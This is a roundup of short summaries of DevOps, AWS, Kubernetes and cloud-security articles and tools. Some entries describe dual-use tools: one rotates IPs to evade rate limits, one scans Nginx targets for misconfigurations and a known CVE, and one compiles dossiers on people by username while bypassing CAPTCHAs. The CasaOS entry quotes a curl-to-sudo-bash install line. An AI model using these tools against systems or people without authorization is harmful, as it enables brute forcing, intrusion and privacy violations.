    Takeaway: For multi-tenant data sharing, tag-based policies scale better than per-account statements. Combine them with aws:PrincipalOrgID as a guardrail.

  • jqp: A TUI Playground to Experiment with jq
    summary

    TL;DR: jqp by Noah Gorstein is a terminal UI playground for running jq queries interactively, built on the Go gojq implementation.

    • Input: JSON or NDJSON from a file (-f) or stdin; stdin takes precedence.
    • Example: curl https://api.github.com/repos/jqlang/jq/issues | jqp '.[] | {"title": .title, "url": .url}'.
    • Keys: tab to cycle sections, ctrl-y copies the query, ctrl-s saves output.
    • Config: $HOME/.jqp.yaml, with themes via -t.
    • Install: brew install jqp, MacPorts, AUR jqp-bin, Snap, or releases.

    Takeaway: Use it to build and debug jq filters against real API output before pasting them into scripts.

  • OpenTelemetry in Various Environments
    summary

    TL;DR: The 10 October 2022 edition of the o11y news newsletter, a link roundup on OpenTelemetry and observability.

    • Rust: Peterpaul Klein Haneveld’s hands-on OpenTelemetry context propagation article.
    • Profiling: InfoQ article and podcast with Frederic Branczyk on continuous profiling with eBPF.
    • IoT: HiveMQ’s distributed tracing extension with OpenTelemetry support for its MQTT broker.
    • AWS: Lumigo’s Michele Mancioppi on OpenTelemetry on AWS and resource attributes.
    • Demo and events: Honeycomb’s Pierre Tessier showing the OpenTelemetry community demo; OpenTelemetry talks at KubeCon NA 2022 compiled by Alolita Sharma.

    Takeaway: A short reading list for OpenTelemetry in different runtimes. The AWS resource attributes talk and the community demo are the most practical picks.

  • Stop Messing with Kubernetes Finalizers
    summary

    TL;DR: The URL now shows Martin Heinz’s “Stop Messing with Kubernetes Finalizers”, which argues against force-deleting stuck resources, not the archived title about Python automation.

    • Title mismatch: The link was saved as “Automate All the Boring Kubernetes Operations with Python”, but /blog/74 serves the finalizers article.
    • Finalizers: Metadata keys like kubernetes.io/pvc-protection that block deletion until a controller cleans up; deletionTimestamp makes the object read-only.
    • Force delete risks: Removing finalizers can leave cloud storage or load balancers dangling and still billed.
    • Pods: kubectl delete pod --grace-period=0 --force removes the Pod from etcd but it may keep running on the node.
    • StatefulSets: Force deletion can create two Pods with the same identity accessing the same storage, risking data corruption.
    • Namespaces: Use .spec.finalizers (kubernetes) rather than .metadata.finalizers.

    Takeaway: When deletion hangs, find which controller or resource holds the finalizer and fix that. Do not strip finalizers.

  • On Amazon EKS and FIS (Chaos Engineering)
    summary

    TL;DR: Dirk Michel’s September 2022 article on using AWS Fault Injection Simulator (FIS) to coordinate chaos experiments across AWS resources and Kubernetes workloads on EKS.

    • Problem: AWS-level faults and Kubernetes-level faults (LitmusChaos, Chaos Mesh) usually run with separate tools.
    • FIS templates: Experiments are defined as Action Sets, Targets, Stop Conditions and Log Destinations.
    • IAM: FIS ties into IAM to authorize defining and running experiments, in CI/CD or by humans.
    • Cross-layer: Coordinates faults across AWS services, Kubernetes and apps, including those using AWS Controllers for Kubernetes.
    • GitOps: Fits experiment definitions into a GitOps flow for review, audit and authorization.
    • Source caveat: Medium blocked direct access; content read through the Freedium mirror.

    Takeaway: Use FIS as the single orchestrator if you want guarded, auditable chaos experiments on EKS that span cloud and cluster faults.

  • K8s Troubleshooting: Namespace Stuck in Terminating State
    summary

    TL;DR: A short September 2022 Dev Genius troubleshooting post on fixing a Kubernetes namespace stuck in Terminating.

    • Step 1: Run kubectl get ns <name> -oyaml and read status.conditions, such as NamespaceDeletionDiscoveryFailure from an unavailable metrics.k8s.io/v1beta1 API.
    • Step 2: List leftover resources with kubectl api-resources --verbs=list --namespaced -o name | xargs -n 1 kubectl get --show-kind --ignore-not-found -n <ns>.
    • Broken APIService: Inspect with kubectl get APIService <version>.<group> and kubectl describe it.
    • Step 3: As a last resort, dump the namespace to JSON, remove spec.finalizers, and submit it to the finalize endpoint.
    • Source caveat: Medium blocked direct access; content read through the Freedium mirror.

    Takeaway: Most stuck namespaces come from a broken aggregated API or leftover resources. Fix those before force-removing the finalizer.

  • VS Code Draw.io Integration
    summary

    TL;DR: An unofficial VS Code extension by Henning Dieterichs that embeds the Draw.io (diagrams.net) editor in VS Code.

    • Formats: Edit .drawio, .dio, .drawio.svg and .drawio.png; the SVG/PNG variants are valid images with the diagram embedded.
    • Git-friendly: .drawio files are plain XML and diff cleanly; the page recommends them over .drawio.png for review.
    • Offline: Uses an offline Draw.io by default, with several themes.
    • Collaboration: VS Code Live Share support for co-editing and presenting.
    • Code links: Nodes and edges can link to code spans.
    • Adoption: Over 4.2 million installs at time of reading.

    Takeaway: Keep architecture diagrams as .drawio.svg next to code so they render in READMEs and change in the same pull request.

  • Wails v2 Released: Rich Frontends for Go Programs
    summary

    TL;DR: Lea Anthony’s 22 September 2022 announcement of Wails v2, a lightweight Go alternative to Electron for building desktop apps with web frontends.

    • Windows: WebView2 component, no CGO requirement, dark/light and custom themes.
    • Templates: Svelte, Vue, React, Preact, Lit and vanilla, with Vite hot reload in dev mode.
    • Native features: Menus, dialogs, translucency with Mica and Acrylic backdrops.
    • Tooling: NSIS installer generation, garble obfuscation, UPX compression, automatic TypeScript generation for Go structs.
    • Deployment: No extra libraries or DLLs to ship, and no separate frontend asset bundle.
    • Effort: About 2.2K commits by 89 contributors since the first alpha.
    • Source caveat: The live site showed a Cloudflare challenge; read from a Wayback Machine copy.

    Takeaway: A good option for small cross-platform desktop tools in Go without Electron’s footprint.

  • Test Scripts in Go
    summary

    TL;DR: John Arundel (Bitfield Consulting), in an excerpt from “The Power of Go: Tests”, shows how to test Go CLI binaries with the testscript package.

    • Package: github.com/rogpeppe/go-internal/testscript.
    • Script language: Shell-like files, for example exec echo 'hello world' followed by stdout 'hello world\n'.
    • Runner: testscript.Run(t, testscript.Params{Dir: "testdata/script"}) runs each script as a parallel subtest.
    • Problem solved: Avoids hand-written tests that build the binary, run it, and parse exit codes and output.
    • Layout: Scripts live in testdata/script next to the Go source.

    Takeaway: Use testscript for end-to-end CLI tests in Go. Scripts are easier to read and extend than hand-rolled os/exec tests.

  • AWS Ramp-Up Guide: Security
    summary

    TL;DR: AWS Training and Certification’s five-page Ramp-Up Guide for security, a curated list of AWS courses, docs and workshops for building cloud security skills.

    • Fundamentals and IAM: AWS Cloud Practitioner Essentials, AWS Security Essentials, Introduction to IAM, plus Control Tower and STS.
    • Detection: Getting Started with Amazon GuardDuty and with AWS Security Hub; also Security Lake, CloudTrail, Detective, Inspector, Macie and KMS.
    • Governance and audit: Security Governance at Scale, Cloud Audit Academy, AWS Config and Audit Manager.
    • Incident response: Guides for compromised IAM credentials, ransomware and cryptomining, plus threat modeling and hands-on workshops.
    • Certification: Points to AWS Certified Security - Specialty exam readiness and the SCS-C02 practice question set.
    • Version: PDF metadata shows it was updated in June 2024, so the content is newer than the 2022 link date.
    • Source caveat: Text was extracted with limited fidelity; structure was inferred from the PDF’s headings and link targets.

    Takeaway: Use it as a structured study plan for AWS security or the Security Specialty exam. Work through it in order, from IAM to detection to incident response.

  • eraser: Cleaning Up Images from Kubernetes Nodes
    summary

    TL;DR: Eraser, originally from Azure, removes a list of non-running container images from all nodes in a Kubernetes cluster.

    • Purpose: Clean up unused and often vulnerable images left on nodes.
    • Location: The repo now lives at eraser-dev/eraser, with docs at eraser-dev.github.io/eraser.
    • Governance: Follows the CNCF Code of Conduct; has OpenSSF Best Practices and Scorecard badges.
    • Community: #eraser channel on Kubernetes Slack, a mailing list and biweekly meetings.
    • Docs: A quick start guide and development setup in the project documentation.

    Takeaway: Useful for clusters with long-lived nodes, where stale images pile up and show up in node vulnerability scans.

  • AWS Security Hub Launches a New Security Best Practice Control
    summary

    TL;DR: An 8 September 2022 AWS What’s New item: Security Hub added one control to its Foundational Security Best Practices (FSBP) standard.

    • New control: [AutoScaling.9] Amazon EC2 Auto Scaling groups should use EC2 launch templates.
    • Total: Security Hub supported 224 security controls at that point.
    • Auto-enable: Enabled automatically if you use FSBP with automatic enabling of new controls.
    • Integrations: Aggregates findings from GuardDuty, Config, Inspector, Macie, Firewall Manager, IAM Access Analyzer and over 65 partner tools.
    • Standards: FSBP, CIS AWS Foundations Benchmark and PCI DSS.
    • Trial: 30-day free trial.

    Takeaway: If Auto Scaling groups still use launch configurations, expect this finding and migrate them to launch templates.

  • requests-ip-rotator: Use AWS API Gateway’s Large IP Pool as a Proxy for Pseudo-Infinite IPs
    summary

    TL;DR: requests-ip-rotator is a Python library that routes requests traffic through AWS API Gateway so each request leaves from a different AWS IP, defeating IP-based rate limits.

    • Mechanism: API Gateway sends requests from its large IP pool; the library randomizes X-Forwarded-For so the real client IP is not passed on.
    • Usage: ApiGateway("https://site.com"), start(), session.mount(...), then shutdown(), or a with block.
    • Install: pip3 install requests-ip-rotator.
    • Cost: API Gateway’s free tier covers the first million requests per region; then about $3 per million, plus $0.09 per GB data transfer.
    • Detectable: Requests carry AWS headers such as X-Amzn-Trace-Id, so they can be identified and blocked.
    • Warning: Gateways not shut down can keep incurring charges.

    Takeaway: Relevant to defenders as much as testers: IP-based rate limiting alone does not stop brute forcing. Consider blocking or flagging API Gateway traffic patterns.

  • merloc: Live AWS Lambda Function Development and Debugging Tool
    summary

    TL;DR: MerLoc from Thundra runs an AWS Lambda function locally while it stays part of the live cloud flow, for live development and debugging.

    • Runtimes: Java, Go, Python, Node.js and .NET; works with Serverless Framework and AWS SAM.
    • Real events: The local function receives real requests from the Lambda environment while other functions run in AWS.
    • Debugging: IDE breakpoints and hot reload, with no build, package and deploy cycle.
    • IAM: Propagates the real Lambda’s IAM credentials to the local function, so permission issues can be tested locally.
    • Hosting: Free with Thundra APM, or self-host the MerLoc broker.

    Takeaway: Speeds up debugging event-driven Lambda flows. Check that the project is still maintained before relying on it.

  • A Guide to Improving Security Through Infrastructure-as-Code
    summary

    (Could not fetch full text.)

    TL;DR: Viktor Gazdag’s September 2022 NCC Group guide to building security into infrastructure-as-code workflows, focused on free and open-source tools.

    • Threat modeling: STRIDE, Draw.io, Microsoft Threat Modeling Tool, attack trees, CIS Benchmarks and MITRE ATT&CK.
    • Static analysis: TFLint, tfsec, Checkov, Regula, Semgrep, tfscan and KICS in IDEs and CI/CD.
    • Policy as code: OPA, Regula, cfn_nag, CloudFormation Guard, Azure Policy, plus GCP Organization Policy and AWS SCPs.
    • IAM analysis: Policy Sentry, Cloudsplaining, PMapper, AWSPX, Pacu, IAM Zero and GCP-focused tools.
    • Pipelines: Signed commits, pair review, branch protection with status checks, small traceable changes.
    • Drift: driftctl, InSpec, Serverspec and Terratest; OpenCSPM and magpie for mature setups.
    • Source caveat: The original research.nccgroup.com URL now redirects to the research index; content read from the article’s current location at nccgroup.com/research.

    Takeaway: A good checklist of where to put security gates in an IaC pipeline. Pick one scanner and one policy engine and enforce them in CI.

  • Terraform 1.3 Improves Extensibility and Maintainability of Terraform Modules
    summary

    TL;DR: Kyle Ruddy’s 21 September 2022 HashiCorp post on Terraform 1.3, which improves module design and refactoring.

    • Optional attributes: Optional object type attributes with defaults are now stable (experimental since 0.14), for example protocol = optional(string, "tcp").
    • Behavior: Missing optional attributes without a default become null.
    • Moved blocks: moved (added in 1.1) now works across module sources, including Registry and private registry modules.
    • Example: Moving aws_instance.hashiapp into module.web-server-aws.aws_instance.hashiapp.
    • Benefit: Replaces error-prone manual terraform state mv runs.
    • Source caveat: curl hit a Vercel browser check; content read via WebFetch.

    Takeaway: On Terraform 1.3+, use optional() defaults to simplify module inputs and moved blocks to refactor into shared modules without state surgery.

  • dexter: Kubernetes OIDC Helper with as Much Automation as Possible
    summary

    TL;DR: dexter from Gini is a Go OIDC helper that logs you in to Kubernetes through Google or Azure and updates your kubeconfig automatically.

    • Status: Archived; the notice says it is no longer maintained as of 2025-05-15 and suggests int128/kubelogin.
    • Providers: Google and Microsoft Azure, both complete.
    • Flow: Opens a browser to the IdP; after login, kubeconfig is updated with the tokens.
    • Setup: OAuth client with redirect URI http://127.0.0.1:64464/callback.
    • Auto pilot: Extracts OIDC settings from an existing kubectl context.
    • Build: Release binaries or goreleaser release --snapshot --clean.

    Takeaway: Do not adopt it for new setups. Use kubelogin for OIDC logins to Kubernetes.

  • Supply Chain Security on Amazon EKS Using AWS KMS, Kyverno, and Cosign
    summary

    TL;DR: AWS Open Source Blog post (Imtranur Rahman, 21 Sep 2022) on signing container images with Cosign and an AWS KMS key, then enforcing signatures on EKS with Kyverno.

    • Framework: Uses the four principles of the CNCF Security TAG supply chain paper: verification, automation, authorization in controlled environments, secure authentication.
    • Signing: Cosign generates and uses a key pair backed by AWS KMS.
    • Enforcement: A Kyverno ImageVerify policy only admits images signed against the KMS public key.
    • Kyverno: A Kubernetes-native policy engine where policies are Kubernetes resources, no new language required.
    • Scope: Applies across source repos, dependencies, build pipelines, artifact registries and deployments.

    Takeaway: A practical pattern for admitting only signed images on EKS without managing private keys on build machines.

  • Use AWS Network Firewall to Filter Outbound HTTPS Traffic from Applications on Amazon EKS
    summary

    TL;DR: AWS Security Blog post (Kirankumar Chandrashekar, 12 Sep 2022) on restricting EKS egress HTTPS to an allow list of hostnames, using SNI in AWS Network Firewall.

    • SNI: The TLS extension that carries the destination hostname unencrypted, so a firewall can filter HTTPS by name, not by IP.
    • Architecture: Per AZ, public subnets hold firewall endpoints, private subnets hold EKS nodes, protected subnets hold NAT gateways.
    • Flow: Pod to NAT gateway, to Network Firewall endpoint, to internet gateway; rules allow or drop by SNI hostname.
    • Logging: Also shows how to collect the hostnames your apps access.
    • Update: The architecture diagram was revised on 13 Oct 2022.

    Takeaway: Use SNI allow lists for EKS egress control when destinations change IPs. Log first to build the list, then enforce.

  • Integrating Kubecost with Amazon Managed Service for Prometheus
    summary

    TL;DR: AWS Cloud Operations blog post (September 2022, with Kubecost) on running Kubecost for EKS cost insight backed by Amazon Managed Service for Prometheus.

    • Problem: Cost and Usage Reports show control plane and EC2 costs, but not costs by namespace, pod or label.
    • Kubecost: Built on OpenCost, a CNCF Sandbox project; breaks down costs by pods, nodes, namespaces and labels against the real AWS bill.
    • Backend: Uses an Amazon Managed Service for Prometheus workspace instead of a self-managed Prometheus.
    • Scope: Covers a single EKS cluster setup.
    • AMP: Prometheus-compatible service that scales ingestion, storage, alerting and querying automatically.

    Takeaway: A way to get per-team Kubernetes cost reports without running Prometheus storage yourself.

  • nginxpwner: Look for Common Nginx Misconfigurations and Vulnerabilities
    summary

    TL;DR: Nginxpwner is a Python tool that checks a target for common Nginx misconfigurations and known vulnerabilities.

    • Usage: python3 nginxpwner.py https://example.com /tmp/pathlist, with paths taken from Burp or unfurl.
    • Version check: Finds the Nginx version and looks up exploits with searchsploit.
    • Checks: CRLF via $uri in redirects, external PURGE, variable leakage, path traversal via merge_slashes off or a misconfigured alias (using Kyubi).
    • Bypasses: Hop-by-hop header tests and 401/403 bypass via X-Accel-Redirect.
    • CVE: Tests the range filter integer overflow CVE-2017-7529.
    • Limits: Relies on the Server header (a separate script exists without it); does not test cache poisoning or request smuggling.

    Takeaway: A quick first pass when testing Nginx fronted apps. Use it against your own configs to catch alias and $uri mistakes.

  • aws-security-survival-kit: Bare Minimum AWS Security Alerting
    summary

    TL;DR: AWS Security Survival Kit (ASSK) from zoph.io is a minimal AWS account alerting setup: two CloudFormation stacks, about 30 EventBridge rules and an SNS topic.

    • Alerts: Root logins, CloudTrail tampering, IAM user and MFA changes, AdministratorAccess attachments, SSH opened to 0.0.0.0/0, shared snapshots or AMIs, AccessDenied bursts.
    • Delivery: Email, or Slack and Teams via AWS Chatbot.
    • Deploy: Set variables in the Makefile, run make deploy; make tear-down removes it.
    • Hardening: Deploy also enables S3 Block Public Access, EBS encryption, IMDSv2 by default and public AMI/snapshot blocks in every region.
    • Positioning: Complements GuardDuty; not a SIEM or SOAR.
    • Cost: Described as free or near-free, with no agents or SaaS.

    Takeaway: A sensible baseline for small or personal AWS accounts that have no alerting today.

  • Serverless Ad Blocking with Cloudflare Gateway
    summary

    TL;DR: Marco Lancini shows how to replicate a Pi-hole with no hardware, using Cloudflare Gateway DNS policies managed through Terraform.

    • Gateway: Cloudflare’s Secure Web Gateway inspects DNS, network (TCP/UDP/GRE) and HTTP traffic; the post focuses on DNS policies.
    • Plan: The free Cloudflare for Teams (Zero Trust) plan is enough.
    • Terraform: cloudflare_zero_trust_gateway_settings configures the block page, antivirus, TCP/UDP proxy and logging.
    • Devices: Install the Cloudflare root certificate and the WARP client to route DNS through Gateway.
    • Policies: One to block security risks, one for ad blocking from domain lists that Terraform splits into chunks.
    • Updates: GitHub Actions keep the blocklist current; a reusable Terraform module was released in January 2023.

    Takeaway: A cheap, maintenance-free way to get network-wide ad and malware blocking for a home office, kept as code.

  • Tool Release: Project Kubescout, Adding Kubernetes Support to Scout Suite
    summary

    (Could not fetch full text.)

    TL;DR: Liyun Li’s September 2022 NCC Group post announcing Kubescout, Kubernetes cluster auditing added to the open-source Scout Suite cloud scanner.

    • Run: pip3 install ScoutSuite then scout kubernetes, using the local kubeconfig; options include --config-file, --context and --do-not-persist-config.
    • Providers: EKS, GKE and AKS via -c/--cluster-provider, adding provider data such as control plane logging settings.
    • Data handling: Downloads cluster resources and redacts Secret values before writing to disk; supports custom resources.
    • Rules: A base set including CIS Benchmark rules, for example hard-coded secrets in ConfigMaps and over-privileged subjects.
    • Limits: Feature preview, basic RBAC review, no pagination yet; output is a static HTML report.
    • Source caveat: The original research.nccgroup.com URL now redirects to the research index; content read from the article’s current nccgroup.com/research location.

    Takeaway: If you already use Scout Suite for cloud accounts, scout kubernetes adds a quick cluster misconfiguration review in the same report format.

  • xg2xg: By Ex-Googlers, for Ex-Googlers, a Lookup Table of Similar Tech and Services
    summary

    TL;DR: xg2xg is a community lookup table mapping Google-internal technologies to their public Google and open-source equivalents, for ex-Googlers.

    • Format: Three columns: Google Internal, Google External, Open Source / Real-World.
    • Examples: MapReduce to Hadoop and Spark; Flume to Dataflow and Apache Beam; Stubby to gRPC; Chubby to ZooKeeper, etcd and Consul; Goops/PubSub to Cloud Pub/Sub and Kafka.
    • Serialization: Protocol Buffers alongside Cap’n Proto, Thrift, Avro, Amazon Ion and CBOR.
    • Related links: System Design Primer, Hadoop Ecosystem Table, the AWS-to-GCP service map, Database of Databases.
    • Rule: Pull requests welcome, but no confidential projects.

    Takeaway: Handy for anyone reading Google papers or talks who wants the open-source equivalent of a named internal system.

  • How Kubefirst Builds Kubernetes Platforms in 8 Steps
    summary

    (Could not fetch full text.)

    TL;DR: A September 2022 Kubefirst blog post listing eight building blocks of a GitOps Kubernetes platform that the open-source kubefirst CLI automates.

    • Steps 1-2: Choose a Git provider (GitHub or self-hosted GitLab); automate IaC with Terraform plus Atlantis, Pulumi or Crossplane, avoiding cloud-proprietary tools.
    • Steps 3-4: Pick a GitOps driver guided by OpenGitOps principles; commit to a secrets manager (HashiCorp Vault).
    • Steps 5-6: Set up an artifact repository (Harbor, Artifactory, Nexus or Git provider registries); build CI with Tekton, Argo Workflows or self-hosted runners.
    • Steps 7-8: Connect identity, cloud and cluster roles through OIDC managed by Terraform; add observability (Datadog early, or Prometheus, Grafana, Jaeger).
    • Claim: The kubefirst CLI sets this up in your cloud in under 25 minutes, with replaceable components.
    • Source caveat: kubefirst.io now redirects to Civo’s Konstruct product page; summary based on the DEV Community repost of the article.

    Takeaway: Use the eight steps as a checklist for an internal developer platform, whether or not you use Kubefirst.

  • Internet.nl: Test Your Email Server, Website, and Connection
    summary

    TL;DR: Internet.nl is a free Dutch test site that checks whether a website, email domain or your own connection uses modern Internet standards.

    • Website test: IPv6, DNSSEC, HTTPS/TLS configuration, security headers including CSP and security.txt, and RPKI route authorization.
    • Email test: IPv6, anti-phishing (DMARC, DKIM, SPF), STARTTLS and DANE secure transport, and RPKI.
    • Connection test: IPv6 reachability and DNSSEC validation by your resolver.
    • Hall of Fame: Lists domains scoring 100% on both web and mail tests.
    • Self-hosting: Available as a ready-to-go Docker package.
    • Updates: Recent news mentions a fully updated TLS test and a new CAA test.

    Takeaway: Run your domains through both tests after DNS or mail changes. It quickly flags missing DMARC, DNSSEC or weak TLS.

  • maigret: Collect a Dossier on a Person by Username from Thousands of Sites
    summary

    TL;DR: Maigret is a Python OSINT tool that builds a dossier on a person from a username, checking thousands of sites with no API keys.

    • Coverage: About 5,900 sites; a default run checks the top 500 by traffic, -a checks all, --tags filters by category or country.
    • Install: pip install maigret then maigret YOUR_USERNAME (Python 3.10+).
    • Extraction: Pulls profile data and linked accounts, then searches recursively on new usernames and IDs.
    • Evasion: Detects and partly bypasses blocks, censorship and CAPTCHA; supports Tor and I2P sites.
    • Outputs: Web interface with a graph view and report downloads; optional --ai summary via an OpenAI-compatible API.
    • Database: Site list auto-updates from GitHub once per 24 hours.

    Takeaway: Useful for authorized OSINT and for checking your own or your staff’s username exposure. Handle results under privacy rules.

  • 26 AWS Security Best Practices to Adopt in Production
    summary

    TL;DR: A Sysdig blog post listing 26 AWS security best practices grouped by service, now shown as updated by Alejandro Villanueva in November 2024.

    • IAM: No * admin policies, policies on groups and roles, rotate keys every 90 days or less, no root access keys, MFA for console users, hardware MFA for root, remove credentials unused for 90+ days.
    • S3: Account-level and bucket-level Block Public Access, server-side encryption.
    • Logging: A multi-Region CloudTrail trail with encryption and log file validation; AWS Config in all Regions.
    • EC2/VPC: EBS encryption by default, VPC flow logs everywhere, default security group with no rules.
    • Other services: No public DMS replication instances or EBS snapshots, OpenSearch encryption at rest, SageMaker notebooks without direct internet, supported Lambda runtimes.
    • KMS and GuardDuty: Watch for unintended key deletion; enable GuardDuty in all supported Regions.
    • Version note: The page now carries a 2024 date, so its content may differ from the 2022 version linked.

    Takeaway: A compact production checklist, largely aligned with CIS AWS benchmarks. Automate it with Security Hub or a CSPM rather than checking by hand.

  • Our Application Security Journey (Part 1)
    summary

    TL;DR: Cristiano Corrado’s September 2022 post on how Wise’s Application Security team built automated container vulnerability management with clear ownership.

    • Problem: Split ownership between platform-maintained base images and product teams’ code, plus assigning findings to the right owners.
    • Scanner: Trivy for OS packages and application libraries in container images.
    • Ownership: An internal service catalogue with tiering and team mappings, plus the deployment service API to find images running in production.
    • Vulnerability management: DefectDojo for de-duplication, custom parsers, APIs, product tags, ownership and SLA counters.
    • Dashboards: Data goes to Looker on Snowflake, which engineers already used, instead of adding another UI.
    • Source caveat: Medium blocked direct access; content read through the Freedium mirror.

    Takeaway: Ownership mapping matters more than the scanner. Route findings to teams through tools they already use.

  • Kubernetes: Multi-Tenancy
    summary

    TL;DR: The official Kubernetes docs page on cluster multi-tenancy: use cases, isolation options and best practices for sharing clusters.

    • Use cases: Multiple teams in one organization, and multiple customers (SaaS or “multi-customer tenancy”).
    • Trade-off: Sharing saves cost and admin work but raises security, fairness and noisy-neighbor issues.
    • No tenant object: Kubernetes has no first-class tenant concept and relies on several features instead.
    • Controls: Namespaces, RBAC, resource quotas and network policies as the baseline for team tenancy.
    • Data plane isolation: Network and storage isolation, sandboxed containers and node isolation.
    • Other topics: API Priority and Fairness, QoS, DNS, operators, and two implementation models: namespace per tenant or a virtual control plane per tenant.

    Takeaway: Decide your tenancy model first. Then layer namespaces, RBAC, quotas and network policies, and add node or cluster isolation for untrusted tenants.

  • Run a Tailscale VPN Relay on ECS/Fargate
    summary

    TL;DR: David Norton of Platformers (February 2022) describes running a Tailscale subnet relay on ECS Fargate to give staff access to private VPC resources.

    • Why: Move databases to private subnets without the overhead of a bastion host and SSH keys; AWS Client VPN looked too expensive.
    • Tailscale: WireGuard-based VPN; free personal tier, business plans from $5 per user per month at the time.
    • Downsides noted: No official Terraform provider, and OIDC login only on Enterprise plans at the time.
    • Setup: A one-off, ephemeral auth key; Fargate task in relay mode with userspace networking, so no elevated container permissions.
    • Image: A custom Docker image with a bootstrap script that runs tailscale up, or a Terraform null_resource alternative.

    Takeaway: A low-cost VPN pattern for small AWS teams. Recheck current Tailscale pricing and features before adopting.

  • Chainguard Images: Container Images Designed for Minimalism and Security
    summary

    TL;DR: The Chainguard Images GitHub org hosts minimal, mostly distroless container images built for security and nightly rebuilds.

    • Distroless: Many images contain only the app and its runtime dependencies, with no shell or package manager.
    • Build tools: melange builds APKs from declarative YAML; apko assembles APKs into OCI images.
    • Base: Built on the Wolfi un-distro, except a few Alpine/musl images such as cgr.dev/chainguard/static and busybox.
    • Supply chain: SBOMs and signatures on images for provenance.
    • Freshness: Aim to rebuild from latest sources every night to address vulnerabilities quickly.
    • Registry: Images are served from cgr.dev/chainguard.

    Takeaway: Minimal, nightly-rebuilt, signed base images reduce attack surface and CVE noise. Test for missing shells or tools before switching.

  • La Terminal: iOS Terminal
    summary

    TL;DR: La Terminal is a native SSH client app for iPhone and iPad (and now Vision Pro); xibbon.com now redirects to la-terminal.net.

    • Native UI: Built for touch, unlike HTML-based terminal emulators; based on the open-source SwiftTerm library.
    • Author: From the creator of Midnight Commander.
    • Security: Private keys are stored in the Secure Enclave.
    • Features: Command search over history, a workflow gallery, resource and network monitors, inline images and a file manager.
    • AI: “El Copiloto” helps write shell commands from plain English.
    • Distribution: Apple App Store.

    Takeaway: A good option for on-call SSH from an iPad or phone, with hardware-backed key storage.

  • CasaOS: Your Home Cloud OS
    summary

    TL;DR: CasaOS is an open-source (Apache 2.0) personal cloud system built around Docker; the site now points users to its successor, ZimaOS.

    • Install: curl -fsSL https://get.casaos.io | sudo bash.
    • Apps: 20+ preinstalled Docker-based apps and 50+ community-verified self-hosted apps.
    • Hardware: ZimaBoard, Intel NUC and Raspberry Pi; amd64, armv7 and arm64.
    • OS: Ubuntu, Debian, Raspberry Pi OS and CentOS.
    • Features: Dashboard, file manager, file sharing, remote access and a CLI.
    • Status: The page says CasaOS has been upgraded to ZimaOS, a NAS OS.

    Takeaway: An easy home-lab front end for Docker apps. Review the install script before piping it to sudo bash, and check ZimaOS for new setups.

  • Eraser: Diagrams as Code
    summary

    TL;DR: The Eraser docs page of example architecture diagrams written in Eraser’s diagram-as-code syntax.

    • Examples: AWS, Google Cloud, Azure and Kubernetes architecture diagrams, each with an “Open in Eraser” link to duplicate.
    • Syntax: Nodes with icons, such as Lambda [icon: aws-lambda]; groups in braces, such as VPC Subnet { ... }.
    • Connections: Arrows like API gateway > Lambda > Server > Data, with fan-out such as Queue > Worker1, Worker2, Worker3.
    • Icons: Provider icon sets for AWS (aws-ec2, aws-rds), GCP (gcp-pubsub, gcp-bigquery), Azure and Kubernetes.
    • Styling: Per-node attributes such as color: grey.

    Takeaway: Copy one of the examples as a starting template for versionable architecture diagrams instead of drawing boxes by hand.

  • Encryption in AWS and Multi-Account Access
    summary

    TL;DR: Jason Kao’s September 2022 CloudQuery post on choosing KMS key types for encryption in multi-account AWS environments.

    • Services: AWS KMS and CloudHSM for symmetric encryption; KMS now also supports asymmetric and HMAC keys.
    • Expanded table: Compares customer managed keys with external key material, with a CloudHSM custom key store, and with AWS-provided material, plus AWS managed and AWS owned keys.
    • Key difference: Only customer managed keys allow multi-account access; AWS managed keys do not.
    • Rotation: Automatic rotation is optional for customer managed keys with AWS material, unavailable for imported or custom store keys, required for AWS managed keys.
    • Example: An IAM role in a compute account reading an encrypted S3 bucket in a data account, using a customer managed key.

    Takeaway: If data will be shared across accounts, encrypt it with a customer managed key from the start. AWS managed keys block cross-account access.

  • Unofficial List of Free Resources to Learn AWS for Absolute Beginners
    summary

    TL;DR: A community-maintained Google Doc listing free resources for absolute beginners learning AWS, with a Netherlands focus.

    • Programs: AWS re/Start (via TechGrounds and Refugee Talent Hub in NL), IT Skills 4U for Ukrainians with free exam vouchers, AWS CloudUp for Her, AWS Cloud Women Mentoring Program EMEA.
    • Self-study: Learn to Cloud, the free 12-week Cloud Project Bootcamp, Serverless Land, FooBar Serverless on YouTube.
    • AWS Educate: Free hands-on labs and self-paced resources.
    • Tip: A prepaid Visa, Mastercard or American Express debit card can open an AWS account without a credit card.
    • Updates: Entries reference 2024 programs, so the list has been maintained since 2022.
    • Source caveat: Read via the document’s plain-text export, as the editor view needs JavaScript.

    Takeaway: A good list to share with career changers. Check program dates, as many run in cohorts.

  • Diving Deeply into IAM Policy Evaluation: Highlights from AWS re:Inforce IAM433
    summary

    TL;DR: Noam Dahan’s September 2022 Ermetic (now Tenable) write-up of AWS re:Inforce session IAM433 on IAM policy evaluation internals and edge cases.

    • Speakers: Matt Luttrell and Dan Peebles of AWS; slides are featured in the post.
    • Outcomes: Implicit deny, explicit deny and explicit allow; there is no implicit allow.
    • Principals: Role sessions, not roles, make requests; also IAM users, federated users from sts:GetFederationToken, anonymous and root.
    • Authorization context: Policy evaluation matches statements against a property bag such as aws:PrincipalTag/project and aws:PrincipalOrgId.
    • Gotcha: ForAllValues:StringEquals on a missing key evaluates to true; use ForAllValues/ForAnyValue only on multi-valued keys like aws:TagKeys.
    • Boundaries: The session explains how resource policies can bypass permissions boundaries.
    • Domain: The ermetic.com URL now serves the article under Tenable branding.

    Takeaway: Required reading before writing condition-heavy IAM policies. Audit existing policies for ForAllValues on single-valued keys.

  • State of AWS Security: A Look into Real-World AWS Environments
    summary

    TL;DR: Datadog’s State of AWS Security report (published October 2022) presents IAM and exposure statistics from real customer AWS environments.

    • IAM users: 40% of IAM users had not used credentials in 90 days; 75% with active keys had a key older than 90 days.
    • MFA: 40% of organizations had at least one console IAM user without MFA.
    • Root: About 10% of organizations had an active root access key, some up to 13 years old; 25% used root credentials in the prior 30 days.
    • Exposure: 18% of SQS users and 15% of SNS users had a public queue or topic; 36% of S3 users had a public bucket.
    • Context: Cites a GitGuardian finding of 84 leaked AWS keys per 10,000 commits.
    • Remediation: Use IAM Identity Center for humans and instance or execution roles for workloads; tools like Repokid and Policy Sentry help with least privilege.

    Takeaway: Use these numbers to argue for removing IAM users and root keys. Check your own accounts for public SQS, SNS and S3 policies.

  • Cyber Security Career Pathways
    summary

    TL;DR: Marco Lancini’s October 2022 post with a first-draft mind map of cyber security career pathways, part of his book “The CloudSec Engineer”.

